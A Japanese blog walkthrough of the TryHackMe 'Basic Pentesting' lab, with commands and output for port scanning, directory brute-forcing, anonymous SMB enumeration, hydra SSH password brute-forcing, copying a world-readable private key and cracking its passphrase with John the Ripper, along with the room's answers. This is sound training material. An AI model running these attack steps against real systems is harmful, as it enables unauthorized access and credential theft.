4
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Basic Pentesting (TryHackMe)

Posted at

TryHackMe > Challenges > Basic Pentesting の部屋に取り組みました。学んだことをいろいろメモしておきます。

以下の手法やツールは、必ず許可された環境でのみ実行してください。

0. 主な問題(想定45min、実際10h)

  • Q1. What is the name of the hidden directory on the web server(enter name without /)?
  • Q2. What is the 1)username 2)password?
  • Q3. What is the name of the other user you found(all lower case)?
  • Q4. What is the final password you obtain?

スクリーンショット 2025-09-04 15.27.29.png

攻撃用kali(Attackbox)を立ち上げたら、Start Machineを押して早速始めていきましょう!

1. 事前調査のポートスキャン(Reconnaissance)

まずは、ターゲットマシンのIPアドレスに対し、ポートスキャンを行います。

スクリーンショット 2025-09-04 15.35.35.png

💻ポートスキャンとは
コンピュータの各ポートに対して通信を試みて、その返答から、ポートの開閉や、空いているポートで稼働しているサービスやバージョンを特定する行為のこと。攻撃者は、ポートスキャンにより、どこから侵入できるか、脆弱性のあるサービスが稼働していないかといった探りを入れる。対策としては、不要なポートを閉じたり、IDS(侵入検知システム)を導入したりすることが有効。一般にNmapのツールを使用する。

$ nmap <target-ip>を実行すると、

# nmap 10.201.123.241
Starting Nmap 7.93 ( https://nmap.org ) at 2025-09-04 07:06 UTC
Nmap scan report for ip-10-201-123-241.ec2.internal (10.201.123.241)
Host is up (0.0039s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
8080/tcp open  http-proxy
MAC Address: 16:FF:E7:5F:54:E9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

また、Firefoxのブラウザでhttp://<target-ip>にアクセスします。

スクリーンショット 2025-09-04 16.24.39.png

このメンテナンス中のWebサイトをハッキングしていきます!

2. Webディレクトリのブルートフォース(Enumeration)

次に、ターゲットマシンのWebサーバに対し、$ gobuster dir -u http://\<target-ip> -w <wordlists>を実行し、隠れたディレクトリやファイルを総当たりで検出します。

💣gobusterとは
Go言語で実装された、高速で軽量な、Webディレクトリ/ファイル探索(ブルートフォース)ツール。ディレクトリ探索ならdir、サブドメイン列挙ならdnsなど、さまざまなモードがある。

📕Wordlistsとは
ペンテストで使用される、既知の単語やフレーズを集めたファイル群。ブルートフォース攻撃や辞書攻撃では、実際にこれらのWordlistsを入力データとして、総当たりを行う。
今回は、以下のcommon.txtを用いる。
スクリーンショット 2025-09-04 16.47.48.png

実行してみると、

# gobuster dir -u http://10.201.123.241 -w ../usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.201.123.241
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                 10s
===============================================================
2025/09/04 07:48:27 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/development          (Status: 301) [Size: 322] [--> http://10.201.123.241/development/]
/index.html           (Status: 200) [Size: 158]
/server-status        (Status: 403) [Size: 279]
Progress: 3803 / 4615 (82.41%)===============================================================
2025/09/04 07:48:27 Finished
===============================================================
Q1. What is the name of the hidden directory on the web server(enter name without /)?

🎉 A. development

隠れディレクトリが分かったので、ブラウザでhttp://<target-ip>/developmentにアクセスしてみます。色々なテキストファイルが見つかりますが、Q2の答え(username, password)は分かりません。

3. microsoft-dsサーバ(445番ポート)に注目

再びポートスキャンの結果に戻ります。

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
8080/tcp open  http-proxy

📍445番ポートはMicrosoft-DS用のウェルノウンポート
Microsoft-DS(Microsoft Directory Services)は、Windows環境でファイルやプリンタを共有するためのSMBプロトコルを使用している。

🔗smbclientコマンド
smbclientコマンドにより、Windowsの共有フォルダへの接続や操作、共有リソース一覧の問い合わせが可能。

ここで、接続可能な共有フォルダを取得すべく、$ smbclient -L //<target-ip> -Nを実行します。

  • -L : "このサーバにはどんな共有がある?"の問い合わせ
  • -N : パスワードなしで実行

のオプションを使用しました。

# smbclient -L //10.201.123.241 -N


        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

上の結果より、Anonymousの共有フォルダに接続してみます。

スクリーンショット 2025-09-04 17.47.31.png

接続が完了したので、$ lsを行い

smb: \> ls
  .                                   D        0  Thu Apr 19 17:31:20 2018
  ..                                  D        0  Thu Apr 19 17:13:06 2018
  staff.txt                           N      173  Thu Apr 19 17:29:55 2018

                14282840 blocks of size 1024. 6044012 blocks available

staff.txtを見てみましょう。このとき、

🌐smbclient 内で使える主なコマンド
ls 共有内のファイル・ディレクトリ一覧を表示
cd <ディレクトリ名> ディレクトリ移動
get <ファイル名> サーバから自分のマシンにファイルをダウンロード
put <ファイル名> 自分のマシンからアップロード
exit / quit 終了

に注意してください。$ get staff.txtでローカルに落としてから実行します。

スクリーンショット 2025-09-04 17.55.00.png

Q2-1. What is the username?

🎉 A. Jan

Q3. What is the name of the other user you found(all lower case)?

🎉 A. Kay

4. パスワードの総当たり

先ほど得たユーザ名janを利用して、target-ipへのSSH接続を試みます。そのためにはパスワードが必要なのですが、ここで、

🐲hydraとは
ブルートフォースでパスワードをクラッキングするツール。HTTP(S), FTP, MySQL, SSH,...など多くのプロトコルに対応している。構文は、hydra <オプション> <ターゲット> <サービス>

今回は、$ hydra -l <username> -P <wordlists> <target-ip> <service>で実行します(<service>://<target-ip>でも良い)。

# hydra -l jan -P ../usr/share/wordlists/rockyou.txt 10.201.123.241 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-04 09:19:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.201.123.241:22/
[STATUS] 120.00 tries/min, 120 tries in 00:01h, 14344282 to do in 1992:16h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 14344126 to do in 2598:35h, 13 active
[STATUS] 85.86 tries/min, 601 tries in 00:07h, 14343801 to do in 2784:26h, 13 active
[22][ssh] host: 10.201.123.241   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-04 09:28:37
Q2-2. What is the password?

🎉 A. armando

5. 権限昇格

先ほど得たパスワードを用いて、$ ssh jan@<target-ip>によりSSH接続に成功しました。janのホームディレクトリには何もないので、もう1人のkayのディレクトリを見てみると、

jan@ip-10-201-123-241:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Sep  4 02:35 ..
-rw------- 1 kay  kay   789 Jun 22 13:41 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

ここから、権限昇格の方法を考えます。

🚩pass.bakの中にフラグがあるっぽい

しかしこのファイルは、

  • 所有者: kay
  • グループ: kay
  • パーミッション: -rw-------(所有者のみ読み書き可能)

であるのに対し、現在のユーザはwhoami → janなので、一筋縄ではいきません。

😈 じゃあ$ sudo suで良くね?(初心者)

と思いましたが、janはsudo権限を持たない一般ユーザー(=sudoersファイルに jan の権限が記載されていない)なので無理でした。他の昇格手段を考えます。

jan@ip-10-201-123-241:/home$ sudo -s
[sudo] password for jan: 
jan is not in the sudoers file.  This incident will be reported.

💥.sshディレクトリがdrwxr-xr-x(誰でも閲覧/実行ok)!?

🔑SSHの公開鍵認証方式
SSHの認証方式には、パスワード認証方式と、より安全な公開鍵認証方式がある。後者では、接続先サーバーに公開鍵、クライアントに秘密鍵を置くことで、$ ssh -i ~/.ssh/id_rsa <username>@<target-ip>で接続可能。

jan@ip-10-201-123-241:/home/kay$ ls -l .ssh
total 12
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

特に、kayとしてSSH接続する際に使用する秘密鍵id_rsa-rw-r--r--(誰でも読める)になっています。この秘密鍵をローカルに持ち出し、今度はjanではなくkayとしてtarget-ipにSSH接続すれば、先ほどのpass.bakを実行できます!

💌リモートサーバーにあるファイルをローカルに落とすには
scpコマンドを使用する。構文は、scp <オプション> <ユーザ名>@<リモートサーバのIPアドレス>:<リモート側の送りたいファイルパス> <ローカル側の保存先ファイルパス>

# scp jan@10.201.123.241:/home/kay/.ssh/id_rsa ~/kay_id_rsa
jan@10.201.123.241's password: 
id_rsa                                                 100% 3326   860.2KB/s   00:00    

持ってこれました。このまま使用すると、SSH接続時にPermissions 0644 for '/root/kay_id_rsa' are too open.と言われてしまうので、$ chmod 600 ~/kay_id_rsaで、所有者だけが読める状態にします。
この秘密鍵を利用して、ユーザーkayでSSH接続を試みたところ、

# ssh -i ~/kay_id_rsa kay@10.201.123.241
Enter passphrase for key '/root/kay_id_rsa': 
kay@10.201.123.241's password: 
Permission denied, please try again.

😭😭😭はい。

SSHの秘密鍵のパスフレーズ(=秘密鍵を盗まれたときに勝手に使われないための追加ロック)が設定されてました泣。ここで公式のヒントを見てみると、

Hint Hey,

This is the hint you’re looking for: use john the ripper to bruteforce the passphrase

Let me know if you want any help.

とあるので、その使い方について調べてみました。

🧨John the Ripperとは
Openwall社が公開しているオープンソースのパスワードクラッキングツールで、パスワード強度のテストに利用される。パスワードのハッシュ値に対して使用し、辞書攻撃によりパスワードを解読できる。$ john --wordlist=/path/to/wordlist.txt hashes.txtのように使用する。

💨解読の仕組み
John the Ripperはハッシュ値を逆算して元に戻すのではなく(←ハッシュ関数の一方向性により不可能)、

  1. 辞書攻撃や総当たり攻撃に用いる、大量のパスフレーズ候補(wordlists)を用意
  2. その候補を同じハッシュ関数に通してハッシュ値を計算
  3. 計算したハッシュ値と、対象のハッシュ値を比較
  4. 一致すれば、その候補が正解

🤖WebサービスCrackStationとはちょっと違うらしい
こちらは、レインボーテーブル(=膨大な数のパスワード候補と、それに対応するハッシュ値の対応表)を用いて高速にハッシュ値を解読するオンラインツール。実際、このレインボーテーブル攻撃を回避するには、パスワードをそのままハッシュ化するのではなく、ソルト(=十分な長さのランダム文字列)を加えてハッシュ化すると良い。

使用ツールの概要は分かりましたが、秘密鍵?パスフレーズ??ハッシュ値???となったので一旦調べました。

🔒SSHの公開鍵認証におけるパスフレーズの存在
パスフレーズを設定すると、万が一秘密鍵が流出しても第三者が利用できなくなり、安全性が大きく向上する。仕組みとしては、秘密鍵の一部分が、パスフレーズにKDF関数を適用させたハッシュ値(=派生鍵)で暗号化されている。

パスフレーズ付きの秘密鍵の内部は、大まかに
[ヘッダ情報] [KDFの種類, salt, iterationなど] [↑の派生鍵で暗号化された秘密鍵ブロック]
となっている(OpenSSHの場合)。

🧭KDFとは
鍵導出関数のこと(Kagi Doushutu Function? Key Derivation Function)。内部でハッシュ関数を何度も使ったり、メモリ消費を増やしたりして、安全な暗号鍵を生成する。

👨‍🔧結局Johnは何をする?
John the Ripperは候補パスワードをハッシュ化して照合してくれるもの。今回は単なるハッシュ値の比較にとどまらず、以下を繰り返して総当たり攻撃を行う。

  1. 候補パスフレーズをKDFに通して、派生鍵(=ハッシュ値)を生成
  2. その派生鍵で、秘密鍵の[↑のハッシュ値を鍵として暗号化された秘密鍵ブロック]を復号
  3. 復号結果が正しい秘密鍵構造をしていたら、パスフレーズ正解
    ※秘密鍵の復号+構造チェックは、JtRが標準でサポートしている機能。

総当たりするパスフレーズ候補にはrockyou.txtを使います。また、JtRはSSH秘密鍵のファイルを直接扱えないので、特定のハッシュ形式に変換する必要があります。ここで、JtRのサポートツールであるssh2johnを用いて、

# ssh2john kay_id_rsa > kay_hash.txt

を実行しました。ちなみに、このssh2johnによって

# cat kay_id_rsa  
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
...(中略)...
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----

これが、

# cat kay_hash.txt
kay_id_rsa:$sshng$1$16$6ABA7DE35CDB65070B92C1F760E2FE75$2352$22835bfc9d2ad8f779e84676de801a2712ef86e499d5cad1af838d1940...

こうなりました。

🧩これはハッシュ値...?
kay_hash.txtはハッシュ値そのものではなく、JtRが試行する暗号化データのまとめ。JtRが$sshng$...の情報(暗号化方式、KDF情報、復号対象)を解析し、候補から派生鍵の生成→復号→構造チェックを繰り返す。

材料(kay_hash.txtおよびrockyou.txt)が揃ったところで、John🙋‍♂️に総当たり攻撃をしてもらいましょう!

普通にjohnコマンドを実行すると

# john kay_hash.txt --wordlist=../usr/share/wordlists/rockyou.txt
Command 'john' is available in the following places
 * /sbin/john
 * /usr/sbin/john
The command could not be located because '/sbin:/usr/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative privileges associated with your user account.
john: command not found

と出るので、以下のように実行します。

# /sbin/john kay_hash.txt --wordlist=../usr/share/wordlists/rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (kay_id_rsa)     
1g 0:00:00:00 DONE (2025-09-04 16:08) 5.882g/s 486682p/s 486682c/s 486682C/s behlat..bball40
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

出ました!!!SSH接続のパスフレーズはbeeswaxです。これを使って、target-ipにユーザーkayで接続してみましょう。

スクリーンショット 2025-09-05 1.13.03.png

無事接続が完了しました!あとは、

$ ls -l
total 4
-rw------- 1 kay kay 57 Apr 23  2018 pass.bak

を実行して、

$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
Q4. What is the final password you obtain?

🎉 A. heresareallystrongpasswordthatfollowsthepasswordpolicy$$

また、このパスワードを用いて、

スクリーンショット 2025-09-05 1.18.35.png

権限昇格に成功です!お疲れさまでしたー!

6. まとめ

この部屋のポイントは、

  • リモートアクセス系のSSH(22/tcp)やファイル共有系のSMB(445/tcp)が空いており、ユーザー名漏洩のリスク
  • ユーザー名が分かれば、辞書攻撃でパスワードクラックが可能
  • 秘密鍵のファイルパーミッションがガバガバ

のあたりでしょうか。脆弱な環境が与えられて、どこに注目すべきかとても難しいのですが、たくさんの新発見があり楽しかったです。

7. 参考文献

  • ブルートフォースツール関連

  • SSH関連

  • その他

4
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?